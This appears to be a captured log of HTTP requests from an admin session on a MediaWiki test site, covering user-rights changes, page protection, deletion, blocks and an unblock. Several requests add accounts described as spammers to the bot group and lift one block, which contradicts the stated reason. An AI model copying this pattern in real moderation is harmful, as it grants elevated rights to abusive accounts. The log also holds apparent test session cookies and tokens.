{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 285", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links&wpEditToken=8cb18cce8f29b56d4be243f6680e30a26af23fbe%2B%5C&user=Lighthouse&wpEditToken=63eff5c3442a7b3d0e61f2c5d3ed3dbb6af23fbe%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Lighthouse", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.notification.convertmessagebox.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserRights/Lighthouse", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.protect%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=19xu7", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 339", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794260927%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Lighthouse+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links&mwProtectWatch=1&wpEditToken=75375fbe86609ad8b8ff2ce9009078d96af23fc0%2B%5C"}
{"method": "GET", "target": "/wiki/Lighthouse_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.protectionIndicators.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=115w1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.protectionIndicators.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1oh8g", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 175", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794260928%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Lighthouse+notes&wpDeleteReasonList=other&wpReason=Spamming+links&wpWatch=1&wpConfirmB=&wpEditToken=93af5bf28b424ea6f61259a172dc40ae6af23fc1%2B%5C&wpConfirmationRevId=12"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.helplink%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Python3&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 349", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Python3&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+python3+guides&wpAutoBlock=1&wpEditToken=aa8b621898b99cd5d5bbff7c983c51416af23fc2%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Python3&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794260931%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 141", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794260931%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Python3&wpReason=Spamming+links+to+python3+guides&wpEditToken=0301942f7378b7545282b44c2c59669e6af23fc5%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Python3&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 300", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+python3+guides&wpEditToken=229e8052974b3c3c4f8007661187e43d6af23fc7%2B%5C&user=Python3&wpEditToken=4b385734108f62f64ab9bcd90a48d9b86af23fc7%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Python3", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 354", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+python3+guides&mwProtectWatch=1&wpEditToken=a011544f3ec7fa75bd1fd89a2f20dcc96af23fc9%2B%5C"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+python3+guides&wpWatch=1&wpConfirmB=&wpEditToken=894fe5e362a216c6fed953d5981e56266af23fca%2B%5C&wpConfirmationRevId=13"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 355", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Powershell&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+powershell+guides&wpAutoBlock=1&wpEditToken=3b00de112eaad4ff6f12629cc0c9c8c06af23fcb%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
